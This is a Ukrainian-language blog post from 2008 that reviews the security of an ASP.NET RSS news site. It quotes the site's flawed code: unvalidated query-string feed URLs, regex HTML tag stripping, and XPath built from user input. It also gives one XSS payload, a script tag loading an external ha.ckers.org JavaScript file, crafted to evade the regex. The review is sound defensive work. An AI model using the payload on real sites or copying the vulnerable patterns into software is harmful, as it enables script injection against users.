13 August 2008
Architects in Ukraine – Ще один code review…
Inspired by - Architects in Ukraine - code review, та
Разработка велась с использованием передовых технологий и продуктов.
Вы можете их использовать для построения подобных решений.
Предложения, замечания, отзывы с удовольствием принимаются
з поста Architects in Ukraine.
Ось учора ввечері вирішив подивитись…
Спочатку я почав робити повноцінний код-ревью. Але швидко цю ідею кинув. Тому краще напишу список найкритичнішого.
Сайт має діри для Дефейса, ДОС атаки
Перше це закачування RSS фіда, в якому адреса задається за допомогою параметрів адресного рядка.
string feed = Request.QueryString["feed"];
itemDataSource.DataFile = feed;
Друге це парсінг HTML
new Regex("<img.*?src.*?=.*?\"(.*?)\"", RegexOptions.IgnoreCase)
та
<img id="FeaturedSpace1" src="<%# HtmlProcessor.ExtractImageUrl(XPath("description").ToString()) %>"
Такий код дозволяє активний контент затягувати в браузер від імені користувача.
Далі ще краще
public static string RemoveTags(string html)
{
Regex regex = new Regex("\\<.*?\\>");
string s = regex.Replace(html, "");
return s;
}
А тепер перевіримо такий ШТМЛ…
[SCRIPT
SRC=http://ha.ckers.org/xss.js ][/SCRIPT]
Символ "[" потрібно замінити на "<". SRC повинно бути на новому рядку.
Читаємо http://ha.ckers.org/xss.html, найцікавіший ресурс для розробників усіляких HtmlProcessor-ів.
А ще
string.Format("/rss/channel/item[guid='{0}']", item);
для тих кому ліньки лізти в код item з QueryString, не знаю навіщо це може знадобитися, адже є більші діри.
NullReferenceException
string feed = Request.QueryString["feed"];
if (feed.StartsWith("http://") || feed.StartsWith("https://"))
ще
_calendar = appSettings["calendar"]
Хлопці! Я навіть не знаю яка тулза (Фотошоп мабуть) не перевіряє на можливі нулли…
Інші проблеми..
Починав писати розгорнуті відповіді по іншим проблемам, не буду. Ось просто список.
- Ім’я Helpers - Dont Name Classes Object Manager Handler Or Data;
- XmlDataSource у той час коли є System.Web.Syndication;
- ViewState для зберігання параметрів відображення, це я про Calendar;
- Оверрайди ідентифікаторів, теж про Calendar;
- Прямі посилання на CSS, хоча э вбудовані Asp.Net Themes;
- Не дуже зрозуміле використання CSS, наприклад <body class="NewsStoryBody">;
- .Net 2.0. Що ви там казали про “передовые технологии”?
- Проблеми зі звичайнісіньким ООП;
- Повне ігнорування автоматичного тестування, система розроблена так що навіть коли хтось схоче писати тести, то потрібно буде рефакторити майже все;
- Тощо;
Висновок
А що робити висновки? Просто хотілось би вірити що я хоча б в чомусь помиляюсь, а експерти зможуть пояснити.
Вчу українську, багато працюю. Цікавлюсь моделюванням небезпек. Більшість часу витрачаю на .Net.